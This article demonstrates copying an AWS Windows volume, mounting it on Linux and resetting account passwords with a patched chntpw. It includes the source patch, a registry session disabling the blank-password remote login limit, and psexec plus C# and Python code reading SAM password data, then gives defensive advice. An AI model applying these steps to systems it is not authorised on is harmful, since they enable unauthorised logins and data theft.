Main image of article The Windows Flaw That Cracks Amazon Web Services
When Flint, Michigan started losing its economic battle a couple decades ago, it quickly deteriorated into a town filled with crime. Living in Michigan at the time, I heard plenty of weird and terrible stories about the goings-on in Flint—but the situation with the ATMs had to be one of the strangest. ATMs were a new technology at the time, and bank officials were still trying to figure out how to best secure the money inside of them. Their efforts were largely ineffectual, because thieves would simply break off an ATM’s mounts, throw the machine in a truck, and take the whole thing home to crack open. Those hijacked ATMs are a perfect analogy for what can happen to your data when it’s stored in a hosting provider’s datacenter: Entire volumes of data could potentially be copied, and the hacker could go to town on the copy without you ever knowing what happened. Many cloud-hosting companies offer a feature that lets you create a direct copy of your volumes, which can be attached to another server instance. You can do this yourself, as I'll demonstrate shortly. But if you can do it, can the employees at Amazon Web Services do it as well? Or even a non-employee who manages to locate the volume and make a copy of it? Here are the possible steps for making that happen; I'll even show you a fix to the popular “chntwp” program used to reset Windows passwords from a Linux machine:
  1. Take a Windows server on Amazon Web Services, make a copy of the hard drive (which Amazon calls a volume),

  2. Attach and then mount it on a Linux server,

  3. Use a well-known password tool to reset the password,

  4. Unmount and detach it from the Linux server,

From there, a couple avenues for mischief exist: A hacker might install malicious software to run alongside the existing software (which, as I describe later, is very possible). If the hacker is a saboteur working for the hosting company, for example, he or she could swap out the existing volume with the modified volume, and reboot the server with the malicious software running, all while the customer simply thinks Windows rebooted itself, having no clue that such a huge change took place. Or the hacker might not even bother reattaching the copy, and just peruse the data while it's mounted on Linux. This is the most likely case. If there are database files, they could be accessed right from the Linux system, or copied over to another Windows system, and so on. Windows can encrypt files, but as I'll explain later, the encryption isn't very safe, and it's turned off by default anyway. How many Web developers building sites for clients actually encrypt data? Initially I was able to accomplish all the above steps using my own volumes on Amazon Web Services; I was able to copy a Windows volume and attach it to a Linux server. But I hit a (temporary) wall. There's a program often used for resetting Windows passwords called chntpw. But it doesn't work on newer versions of Windows—at least it didn't, until I modified the code. Now it does. And after I modified the code, I was able to reset the passwords on my Windows volume, and log in. Next I'll describe how I did it, and then explain why this isn't really a problem with Amazon's security so much as it is with Windows in general, and finally offer tips on how to safeguard yourself against such an attack. Oh and just some food for thought: I was able to do this with my own volumes, but I don't have access to other users' volumes. An employee at Amazon, however, could potentially have that access, and therefore could reproduce these steps. Or what about the government and the NSA? If they can get a copy of the volume, they could go to town on your data.

Inspecting the SAM

User passwords are stored in a registry file called SAM, which is stored in the directory c:WindowsSystem32config. Normally this file can't be accessed by Windows users, even if the user has administrator privileges. If you launch the regedit tool in Windows, under HKEY_LOCAL_MACHINE you can see an entry for SAM, but you won't see anything: Normally the process for viewing data in the SAM is to shut down Windows, mount the Windows drive on another computer, and then use a registry program (such as chntpw) to view and change the registry. But there's actually an easy way to access the SAM registry from within Windows without having to shut it down: Run regedit under the System user. To do that, you just grab a tool from the SysInternals group at Microsoft called PsExec. Use it to launch regedit like so:
psexec -s -i regedit.exe
Regedit will open up with full system privileges, including the ability to look at the SAM database, as shown here: Each user has a unique ID. In this screen capture, the user IDs are 1F4, 1F5, and so on, as shown in the left tree. There's a registry path for each user ID, and each path contains an F key and a V key. The V key contains binary data that can be mapped to a C-language structure; this structure contains the information on the user, including username, home directory, and encrypted password hashes. Why is this important? Because it means if you have, for example, a computer where you forgot the admin password but remember a regular user password, you could run a Windows-based version of chntpw and reset the admin password yourself without having to mount the volume on Linux. The program just needs to be launched under the System user, such as through psexec. Then it has full read/write access to the SAM registry. To test this assertion, I wrote a very short program—not in assembly, not in C or C++, but in C#, the high-level .NET language. Here it is:
using Microsoft.Win32; using System; class Program {

    static void Main(string[] args) {

        Byte[] value =

(Byte[])Registry.GetValue(@"HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers�00003FE", "V", 0);

        for (int i = 0; i < value.Length; i++) {

            Console.Write(value[i].ToString("x2"));

            Console.Write(" ");

            if ((i + 1) % 16 == 0) {

                Console.WriteLine();

            }

        }

        Console.WriteLine();

    }

}
Running this program under a normal user gives you a security exception:
Unhandled Exception: System.Security.SecurityException: Requested registry access is not allowed.
But running it under system via psexec works:
C: >psexec -i -s samregistry.exe PsExec v1.85 - Execute processes remotely Copyright (C) 2001-2007 Mark Russinovich Sysinternals - www.sysinternals.com 00 00 00 00 ab 00 00 00 01 00 01 00 ba 00 00 00 0a 00 00 21 00 00 00 00 d8 00 00 00 03 00 00 00 00 00 00 00 f3 00 00 00 00 00 00 00 00 00 00 00 ...
It would be very easy, therefore, to write a program that accesses and modifies the SAM database and user passwords. You could use any language you like, so long as the language has a library for accessing the registry. Want python? Here you go:
import _winreg reg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE) key = _winreg.OpenKey(reg, r"SAMSAMDomainsAccountUsers�00003FE", 0, _winreg.KEY_READ) print _winreg.QueryValueEx(key, "V")
Then launch cmd.exe with psexec and run python from there:
C: >python samreg.py ('x00x00x00x00xabx00x00x00x01...')
However, I should add that, after doing more tests, I did find that the psexec program apparently only works from an administrator account. But as you'll see in the next section, there's a way in.

Fixing chntpw

So on to chntpw. Initially I thought I would just use chntpw, but it didn't work on Windows Server 2008. I had to dig into the code to find out exactly why. It turns out that older versions of Windows would create a hash based on the password while not factoring in anything unique to the particular user. A hash was created for the password, and if two users happened to use the same password on the same system, the hash would be the same. The chntpw program would use this approach, and encrypt the password for you (not factoring in, for example, a user ID). You can test this out yourself by creating two throwaway user accounts on a Windows system, turn on the verbose option of chntpw, and using chntpw to change the password of both accounts using a single password for both. I did so, and saw this same MD4 hash on both: 5a 20 de 52 d0 12 e0 42 80 e4 81 db dd 6c 03 53 Yet, if I created two more accounts and used Windows to set them to the same password, I saw two different hashes: e2 80 87 e0 1c 70 ae 14 49 40 dd 57 e1 da 6a 70 and 15 42 69 69 fc d1 c9 ab 85 be 1d 2f de 29 98 34 And there's the problem. The newer versions of Windows factor in the userid as well. Thus, if two users use the same password, there will be two different hashes stored. I started down the path of figuring out how to generate the hash. The samdump2.c file found here includes some additional encryption code not found in chntpw. However, instead of going that route, I decided to instead explore why chntpw couldn't even blank out a password. So I created two users in Windows and gave them both blank passwords. I then looked at the raw data and spotted the password length. Whereas chntpw sets the password length to 0 for blank passwords, in Windows Server 2008, the password length is set to 4. That's an incredibly easy change to the chntpw code. The existing chntpw.c file has these lines in it for blanking out a password:
v->ntpw_len = 0; v->lmpw_len = 0;
I changed both these lines to this:
v->ntpw_len = 4; v->lmpw_len = 4;
Really I probably only needed to change the first line for the NT password and not the LANMAN password, but no big deal. After making that change, I typed make to rebuild the code. I then reset a Windows password to blank. It half-worked; the remote desktop let me in but took me to a login screen noting a security problem. That's when I realized there was another problem.

Allowing Login Without a Password

By default, Windows doesn't allow remote desktop logins for accounts that have a blank password. I was ready to start in on another patch to chntpw, when I realized I didn't have to do so: chntpw has a full registry editor built into it. So after using it to clear out a password, all I needed to do was add a second step to change the registry myself. The registry key in question is:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaLimitBlankPasswordUse
and the value needs to be set to 0. By default it's 1. Here's the transcript of my chntpw session for how that can be accomplished. First, start up chntpw on the Linux box, but instead of connecting to the SAM file, connect to the SYSTEM file:
$ chntpw SYSTEM chntpw version 0.99.6 110511 , (c) Petter N Hagen Hive <SYSTEM> name (from header): <SYSTEM> ROOT KEY at offset: 0x001020 * Subkey indexing type is: 686c <lh> File size 8388608 [800000] bytes, containing 1890 pages (+ 1 headerpage) Used for data: 139842/8208504 blocks/bytes, unused: 5508/99144 blocks/bytes. Simple registry editor. ? for help.
Next, drill down to the key you need. You can list the existing keys using ls, and then change to the one you need using cd (just like the ls and cd commands in the Linux shell). First I'm listing the keys:
> ls Node has 7 subkeys and 0 values key name <ControlSet001> <ControlSet002> <MountedDevices> <RNG> <Select> <Setup> <WPA>
Now I'm switching to the one I need:
> cd ControlSet001 ControlSet001> cd Control ControlSet001Control> cd Lsa
Now listing this key, you can see the one existing values, including the one I need to change, LimitBlankPassword Use:
ControlSet001ControlLsa> ls Node has 12 subkeys and 18 values key name <AccessProviders> <Audit> <Credssp> * <Data> <FipsAlgorithmPolicy> * <GBG> * <JD> <Kerberos> <MSV1_0> * <Skew1> <SSO> <SspiCache> size     type            value name             [value if type DWORD] 4  REG_DWORD         <auditbaseobjects>         0 [0x0] 4  REG_DWORD         <auditbasedirectories>     0 [0x0] 4  REG_DWORD         <crashonauditfail>         0 [0x0] 1  REG_BINARY        <fullprivilegeauditing> 8  REG_BINARY        <Bounds> 4  REG_DWORD         <LimitBlankPasswordUse>    1 [0x1] 4  REG_DWORD         <NoLmHash>                 1 [0x1] 30  REG_MULTI_SZ      <Notification Packages> 92  REG_MULTI_SZ      <Security Packages> 16  REG_MULTI_SZ      <Authentication Packages> 4  REG_DWORD         <LsaPid>                 484 [0x1e4] 4  REG_DWORD         <SecureBoot>               1 [0x1] 4  REG_DWORD         <ProductType>              8 [0x8] 4  REG_DWORD         <disabledomaincreds>       0 [0x0] 4  REG_DWORD         <everyoneincludesanonymous> 0 [0x0] 4  REG_DWORD         <forceguest>               0 [0x0] 4  REG_DWORD         <restrictanonymous>        0 [0x0] 4  REG_DWORD         <restrictanonymoussam>     1 [0x1]
To change its value, use the ed command:
ControlSet001ControlLsa> ed LimitBlankPasswordUse EDIT: <LimitBlankPasswordUse> of type REG_DWORD with length 4 [0x4] DWORD: Old value 1 [0x1], enter new value (prepend 0x if hex, empty to keep old value) -> 0 DWORD: New value 0 [0x0],
And that's it. Quit with the q command, and press y to save the changes to the SYSTEM file:
ControlSet001ControlLsa> q
Hives that have changed:
 #  Name 0  <SYSTEM> Write hive files? (y/n) [n] : y 0  <SYSTEM> - OK u
That's it; the volume, when booted to Windows, will allow remote desktop access on accounts that have a blank password.

The Whole Process

And there we have it. Here are the full steps I followed:
  1. In the AWS console, I created and launched both a Windows instance and a Linux instance on Amazon EC2.

  2. I logged in remotely to the Windows instance using the standard EC2 process for obtaining an Administrator password.

  3. While in Windows, I created a user that I would work with, and I gave it administrator rights. (But the following steps could just as well work on the Administrator user itself.)

  4. I created a snapshot of the volume that's attached to Windows, and attached it to the Linux instance through device /dev/xvdf

  5. I logged into Linux via ssh and mounted the new drive:

sudo mount -t ntfs-3g /dev/xvdf1 /opt/tempm

and moved to the directory containing the registry files:

cd /opt/tempm/Windows/System32/config
While at this step, I had full access to the entire drive. I really could just stop here if I was looking for data (and I'll have more to say later regarding encrypting your data), but let's continue:
  1. I used my modified chntpw to clear out the password on the new user.

  2. I used the procedure described above to turn off the policy barring remote login with blank passwords.

  3. I unmounted the drive:

sudo umount /opt/tempm

I logged back into the AWS console, detached the drive from the Linux machine, detached the original Windows volume from the Windows machine, and attached my copy to the Windows machine via device /dev/sda1.

  1. I launched the Windows machine. It booted just fine, showing no indication that it was booting with a different volume from what it was originally created with.

  2. And finally, on my desktop I launched Remote Desktop, put in the IP address for the newly-launched Windows, used the username and the blank password... and I was in. And since I was logged in as an administrator, I could then launch the psexec program and really wreak havoc on the system or install some nasty code. But I didn't (it's my own test server after all) and I'm not going to do it to somebody else; instead, I want to know what's possible so I can protect myself against data theft.

The key here, of course, is that an unscrupulous employee might be able to make a copy of any existing Windows volume, and go to work on it without the customer ever knowing that it happened. Now let's be clear: I'm not accusing anyone of having done this; in fact, I doubt anybody has, considering I was unable to find a working copy of chntpw until I modified it. Perhaps others have modified it, but if they did, I didn't find it on the Web. What can the hosting company do to prevent this? Remember, I was only able to do this on the volumes that I created. I didn't even try to do it on volumes created by others, because I simply don't have access to them. That means a hacker outside of Amazon would have a seriously difficult time doing it, although perhaps one could. More likely it would have to happen internally. The employees at Amazon certainly have access to the drives. Looking through the support forums, when people ask questions about mounting volumes, there are responses from AWS employees saying things like, “Please post the Instance ID” later followed by, “I can see the instance and that it's attached to /dev/sda1.” In terms of support, however, we kind of need that. If I call them up, I want them to be able to see my drives and help me out. The same goes not just with Amazon, but any host provider, no matter how big or small. In fact, the smaller companies probably have less physical security—an employee could actually go right to the server room without anyone stopping them. In other words, while this is certainly a security concern, it stems from a necessary part of the support process; there's not a realistic way to get the hosting companies to prevent it. It's not really Amazon's fault, nor is it due to lax security on their part; rather, it's a fundamental problem with Windows as well as some realities about whether we should even be storing important data with a public hosting company. Instead, we have to work from our end to prevent unauthorized access from either the employees at the hosting company, or a hacker who tunnels in, or an NSA employee who manages to get a full copy of a drive. How do we do that? Two things:

  1. For the love of a deity, please do not put sensitive, secret, important data on your cloud servers. Yes, slashdot readers know this, but make sure your clients understand this. Web servers hosting pages that show a business's office hours and pictures of the cute staff members are fine. Web servers holding Quickbooks data are not fine. Somewhere in between is a line that you need to find. I'm not okay with my social security number and banking information being in cloud storage.

  2. Encrypt your data on your local machines and in your private data centers. The chntpw has always been able to crack into Windows until a couple years ago; now with the change I introduced in this article, it can be used on new versions of Windows as well. But if your data is encrypted, even if somebody gets access to it, if the encryption is good enough, they will have great trouble accessing the data. So let's talk about that final point before wrapping up, as well as how to deal with clients who ask about encryption.

Safeguards

I mentioned earlier that, when I attached the Windows drive to the Linux machine, I could see all the data there. The reason is that the data wasn't encrypted. Windows allows you to encrypt your files and folders, but the encryption is far from perfect: the system encrypts the files using a public key, and decrypts them using a private key. This makes the files nearly impossible to decrypt, except for one big problem: The system has access to the private key, and so a hacker could potentially gain access to it as well. In fact, the private key is itself encrypted using the hash for the user's password. That hash is easily obtainable as outlined above. From there, you could probably write further code that will unlock the private key. Then with the private key in hand, you could decrypt all the files. I haven't explored this, but I know others have, and the information is out there. Don't use the Windows file encryption. Instead, when you have sensitive data, encrypt your files with something better, such as this tool or something similar. And still keep that data out of the cloud. However, your clients may still want a sense of security, even with their non-sensitive data. This is called “sales.” If a local business wants a cloud-hosted Website and takes several bids from local Web design firms, and one says, “There's no reason to encrypt” while the other says, “We'll encrypt your data,” the business owner with little technical knowledge will probably go with the one who encrypts, simply because it sounds better—even if the reason the second design firm doesn't encrypt is because they don't put their client's sensitive data in the cloud. If some local computer know-it-all told your potential client that data on the cloud must be encrypted or “The Hacker” will get it and steal the business owner's identity and bank accounts, then you're not likely to change that person's mind. But you want their business and you want their money, so go ahead and encrypt if it makes them feel better. Use the Windows encryption since you're not putting sensitive data on their server anyway. Consider it “feel good” low-level encryption. And keep the important data local and encrypted, because Windows is far too easy to break into. It has been since day one, and probably always will be.